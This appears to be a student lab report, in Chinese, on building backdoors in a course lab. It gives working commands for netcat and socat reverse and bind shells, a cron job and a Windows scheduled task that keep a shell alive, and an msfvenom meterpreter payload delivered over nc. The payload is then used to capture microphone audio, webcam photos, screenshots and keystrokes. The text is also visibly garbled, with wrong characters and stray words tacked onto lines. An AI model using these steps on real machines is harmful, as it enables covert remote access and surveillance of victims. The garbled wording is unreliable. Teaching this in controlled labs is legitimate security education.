(1)使用netcat获取主机操做Shell,cron启动linux
(2)使用socat获取主机操做Shell, 任务计划启动web
(3)使用MSF meterpreter(或其余软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shellshell
(4)使用MSF meterpreter(或其余软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权windows
(1)例举你能想到的一个后门进入到你系统中的可能方式?安全
下载的软件有后门网络
(2)例举你知道的后门如何启动起来(win及linux)的方式?tcp
win:设置为开机自启动编辑器
Linux:将木马设为定时启动工具
(3)Meterpreter有哪些给你映像深入的功能?学习
居然能够获取目标主机音频、摄像头、击键记录等内容
(4)如何发现本身有系统有没有被安装后门?
安装专门的杀毒软件,实时防御,并按期检测电脑安全状况
后门就是不通过正常认证流程而访问系统的通道。
相对狭义一点的后门的概念:后门特指潜伏于操做系统中专门作后门的一个程序,“坏人”能够链接这个程序,远程执行各类指令,概念和木马有重叠。
又名nc、ncat,是一个底层工具,进行基本的TCP UDP数据收发。常被与其余工具结合使用,起到后门的做用。
1.在Windows下使用ipconfig
查看本机IP为192.168.199.175
2.使用ncat.exe程序监听本机的5306端口ncat.exe -l -p 5306
3.在Kali环境下,安装ncat,使用nc指令的-e选项反向链接Windows主机的5306端口
nc 192.168.199.175 5306 -e /bin/sh
4.成功得到Kali的shell,可运行任何指令,如ls
1.在Kali环境中使用ifconfig查看IP为192.168.95.136
2.使用nc指令监听5306端口nc -l -p 5306
3.在Windows下,使用ncat.exe程序的-e选项项反向链接Kali主机的5306端口
ncat.exe -e cmd.exe 192.168.95.136 5306
4.Kali下能够看到Windows的命令提示
1.Windows下监听5306端口ncat.exe -l 5306
2.Kali下链接到Windows的5306端口ncat 192.168.199.175 5306
3.创建链接以后,在Kali中输入数据,按下回车,Windows中就能够显示传输的数据了
后门就是一个程序。
传统的理解是:有人编写一个后门程序,你们拿来用。
一个平台能生成后门程序。这个平台把后门的基本功能(基本的链接、执行指令), 扩展功能(如搜集用户信息、安装服务等功能), 编码模式, 运行平台, 以及运行参数 全都作成零件或可调整的参数。用的时候按须要组合,就能够生成一个可执行文件。
接下来学习如何使用msfenom生成后门可执行文件,要生成的这个后门程序是Meterpreter。
参数说明:
-p
使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode
-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中
-e
使用的编码器,用于对shellcode变形,为了免杀
-i
编码器的迭代次数。如上即便用该编码器编码5次
-b
badchar是payload中须要去除的字符
LHOST
是反弹回连的IP
LPORT
是回连的端口
-f
生成文件的类型
>
输出到哪一个文件
1.在Windows系统下,监听5306端口nc -l -p 5306
2.Kali下用crontab -e
指令编辑一条定时任务,选择编辑器3
3.按i
进入插入模式,在最后一行添加52 * * * * /bin/netcat 172.168.199.175 5306 -e /bin/sh
,意思是在每一个小时的第52分钟反向链接Windows主机的5306端口
4.当时间到了12:52时,此时已经得到了Kali的shell,能够在Windows下输入指令ls
socat是ncat的加强版,它使用的格式是socat [options] <address> <address>
,其中两个address
是必选项,而options
是可选项。 socat的基本功能就是创建两个双向的字节流,数据就在其间传输,参数address
表明其中的一个方向。所谓流,表明数据的流向,而数据则能够有许多不一样的类型,命令中也就相应须要许多选项对各类不一样的类型数据流进行限定与说明。
1.搜索计算机管理
→ 任务计划程序
→ 建立任务
→常规
→任务名称
:socat_5306
→触发器
→新建
→开始任务
选择工做站锁定时
→肯定
→操做
→程序或脚本
点击浏览
→选择socat.exe
的路径→添加参数
填写tcp-listen:5306 exec:cmd.exe,pty,stderr
,把cmd.exe
绑定到端口5306,同时把cmd.exe
的stderr
重定向到stdout
上→肯定
2.建立完成以后,按Windows+L
快捷键锁定计算机,再次打开时,能够发现以前建立的任务显示正在运行
3.在Kali下输入socat - tcp:192.168.199.175:5306
,这里的第一个参数-
表明标准的输入输出,第二个流链接到Windows主机的5306端口,此时能够发现已经成功得到了一个cmd shell
1.Kali下输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.95.136 LPORT=5306 -f exe > 20165306_backdoor.exe
生成后门程序
2.Windows下输入ncat.exe -lv 5306 > 20165306_backdoor.exe
,经过nc指令将生成的后门程序传送到Windows主机上
3.Kali下输入nc 192.168.199.175 5306 < 20165306_backdoor.exe
Windows显示链接成功
4.Kali下使用msfconsole
指令进入msf控制台
5.使用监听模块,设置payload,设置反弹回连的IP和端口
设置完成后,执行监听
6.运行Windows下的后门程序20165306_backdoor.exe
7.此时Kali上已经得到了Windows主机的链接,而且获得了远程控制的shell
1.使用record_mic
指令能够截获一段音频
2.先打开Windows相机功能,Kali下使用webcam_snap
指令可使用摄像头进行拍照
3.使用screenshot
指令能够进行截屏
4.使用keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录
Windows+L
快捷键锁定计算机,再次打开时,发现以前建立的任务显示准备就绪
,而不是正在运行
运行
20165306_backdoor.exe
时显示拒绝访问